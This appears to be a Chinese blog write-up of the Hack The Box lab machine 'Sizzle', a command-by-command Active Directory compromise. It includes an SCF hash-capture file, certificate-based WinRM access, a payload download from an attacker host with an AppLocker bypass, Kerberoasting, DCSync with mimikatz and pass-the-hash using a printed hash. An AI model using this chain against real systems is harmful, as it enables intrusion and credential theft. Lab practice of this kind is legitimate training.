把之前的笔记搬运过来
---
 
1 开了443,用smbclient建立空连接查看共享
smbclient -N -L \\\\1.1.1.1
Department Shares
Operations share
CertEnroll
这三个share是域证书服务的默认共享
 
2 将共享挂载到本地
mount -t cifs -o rw,username=guest,password= '//10.10.10.103/Department Shares' /mnt
cd /mnt
 
3 查看共享目录中的可写目录
#!/bin/bash
list=$(find /mnt -type d)
for d in $list
do
   touch $d/x 2>/dev/null
   if [$?-eq0]
   then
       echo $d " is writable"
   fi
done
 
4 在可写目录放scf文件获取hash,开启responder监听
[Shell]
Command=2
IconFile=\\10.10.14.3\share\pwn.ico
[Taskbar]
Command=ToggleDesktop
 
cp pwn.scf /mnt/Users/Public
cp pwn.scf /mnt/ZZ_ARCHIVE
Responder -I tun0
 
5 破解hash,获得密码a
john hash -w=/path/to/rockyou.txt
 
6 开了5985,使用脚本尝试使用PSRemoting
https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb
失败,发现服务器使用证书认证
 
7 创建证书
发现前面的密码可以登陆443端口的ad cs /certsrv
创建过程中两次指定一致的pass phrase
创建证书签名请求csr
openssl genrsa -des3 -out amanda.key 2048 # create private key
openssl req -new -key amanda.key -out amanda.csr # create csr
 
8 修改winrm_shell.rb脚本
conn = WinRM::Connection.new(
   endpoint: 'https://10.10.10.103:5986/wsman',
   transport: :ssl,
   :client_cert => 'certnew.cer', # from the server
   :client_key => 'amanda.key', # private key
   :no_ssl_peer_verification => true
)
 
rlwrap ruby winrm_shell.rb
 
9 使用covenant做cc
 
10 下载并利用color绕过applocker执行launcher
wget http://10.10.16.3/pwn.exe -O pwn.exe
cp pwn.exe C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\drivers\color\pwn.exe
 
11 获取SPN
shell setspn.exe -t htb -q */*
 
12 kerberoast
先用前面的密码生成token
MakeToken user domian pass
kerberoast spn_user
hashcat 破解
hashcat -m 13100 -a 0 spn_user rockyou.txt
 
13 用同样的方式弹一个新用户的shell回来
 
14 使用powerview探测acl的错误配置
1 wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
2 PowerShellImport PowerView.ps1
 
 
powershell Get-ObjectACL "DC=htb,DC=local" -ResolveGUIDs | ? { ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get') }
 
发现这个对象有这个权限DS-Replication-Get-Changes-All privilege
属于新获得的那个用户
 
15 有DS-Replication-Get-Changes-All privilege这个权限的用户可以直接dcsync
DCSync administrator htb.local sizzle
或者用mimikatz
mimikatz lsadump::dcsync /user:administrator /domain:htb.local /dc:sizzle
 
16 用psexec或者wmiexec pth
wmiexec.py administrator@10.10.10.103 -hashes
336d863559a3f7e69371a85ad959a675:f6b7160bfc91823792e0ac3a162c9267
 
 
 
 
 

hack the box -- sizzle 渗透过程总结,之前对涉及到域内证书啥的还不怎么了解的更多相关文章

  1. Hack The Box( Starting Point )

    Hack The Box [Starting Point] 初始点 -- 了解渗透测试的基础知识. 这一章节对于一个渗透小白来说,可以快速的成长.以下将提供详细的解题思路,与实操步骤. TIER 0 ...

  2. HACK TEH BOX - Under Construction(JWT密钥混淆 + SQL注入)

    HACK TEH BOX - Under Construction(JWT密钥混淆 + SQL注入) 目录 1. JWT密钥混淆 2. 环境 3. Challenge 4. Walkthrough 1 ...

  3. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

  4. 端口渗透·网站渗透过程 --21 ,22,873,3306,6379,8080(8080端口是针对CMS的渗透)

    声明:文章渗透网站为模拟环境,文章只为利用过程 文章为信息收集和端口渗透两部分,21端口为ftp版本漏洞 8080端口为CMS的渗透 信息收集: ·使用扫描工具nmap ,PortScan 对整个网段 ...

  5. Hack the box: Bastion

    介绍 目标:10.10.10.134 (Windows) Kali:10.10.16.65 In conclusion, Bastion is not a medium box. But it wou ...

  6. Hack The Box 获取邀请码

    TL DR; 使用curl请求下面的地址 curl -X POST https://www.hackthebox.eu/api/invite/generate {"success" ...

  7. 记录一次坎坷的linux内网渗透过程瞎折腾的坑

    版权声明:本文为博主的原创文章,未经博主同意不得转载. 写在前面 每个人都有自己的思路和技巧,以前遇到一些linux的环境.这次找来一个站点来进行内网,写下自己的想法 目标环境 1.linux  2. ...

  8. 2019-10-30,Hack The Box 获取邀请码

    一.快速获取邀请码方法 1,使用curl请求下面的地址curl -X POST https://www.hackthebox.eu/api/invite/generate 2,在返回结果的code部分 ...

  9. 对 Watchbog Botnet 渗透过程和 Payload 的分析

    漏洞利用 CVE-2018-1000861 https://jenkins.io/security/advisory/2018-12-05/ Watchbog在做什么? Watchbog僵尸网络为其所 ...

随机推荐

  1. 防DOS攻击-网络连接法

    #!/bin/bash netstat -antup | grep SYN_RECV | awk '{print $5}' |awk -F: '{print $1}'|sort|uniq -c > ...

  2. [scrapy-redis] 将scrapy爬虫改造成分布式爬虫 (2)

    1. 修改redis设置 redis默认处在protection mode, 修改/etc/redis.conf, protected-mode no, 或者给redis设置密码, 将bind 127 ...

  3. Java 学习笔记之 线程Yield

    线程Yield: yield()方法的作用是放弃当前的CPU资源,将它让给其他的任务去占用CPU执行时间,但放弃的时间不确定,有可能刚刚放弃,马上又获得CPU时间片. public class Yie ...

  4. Java匹马行天下之教你用学汉语式方法学编程语言

    Java匹马行天下之教你用学汉语式方法学编程语言 前言: 前段时间接连更新了带小白从入门到了解的几篇博客: <Java匹马行天下之编程常识知多少> <Java匹马行天下之走进编程的殿 ...

  5. vue项目引入bootstrap正确姿势

    vue如何引入bootstrap 最近在玩全栈,自然少不了vue的使用.使用vue-cli生成的项目想引入bootstrap,需要先安装相应的npm包,然后在代码中显示引入. 1.安装依赖包: cnp ...

  6. 为什么一个Http Header中的空格会被骇客利用 - HTTP request smuggling

    figure:last-child { margin-bottom: 0.5rem; } #write ol, #write ul { position: relative; } img { max- ...

  7. POJ - 3646 The Dragon of Loowater

    Once upon a time, in the Kingdom of Loowater, a minor nuisance turned into a major problem. The shor ...

  8. python selenium句柄操作

    一.获取当前窗口句柄 1.元素有属性,浏览器的窗口其实也有属性的,只是你看不到,浏览器窗口的属性用句柄(handle)来识别. 2.人为操作的话,可以通过眼睛看,识别不同的窗口点击切换.但是脚本没长眼 ...

  9. Jenkins介绍

    持续集成: 持续集成是一种软件开发实践,即团队开发成员经常集成他们的工作,通过每个成员每天至少集成一次,也就意味着每天可能会发生多次集成.每次集成都通过自动化的构建(包括编译,发布,自动化测试)来验证 ...

  10. C# 委托 (一)—— 委托、 泛型委托与Lambda表达式

    C# 委托 (一)—— 委托. 泛型委托与Lambda表达式 2018年08月19日 20:46:47 wnvalentin 阅读数 2992   版权声明:此文乃博主之原创.鄙人才疏,望大侠斧正.此 ...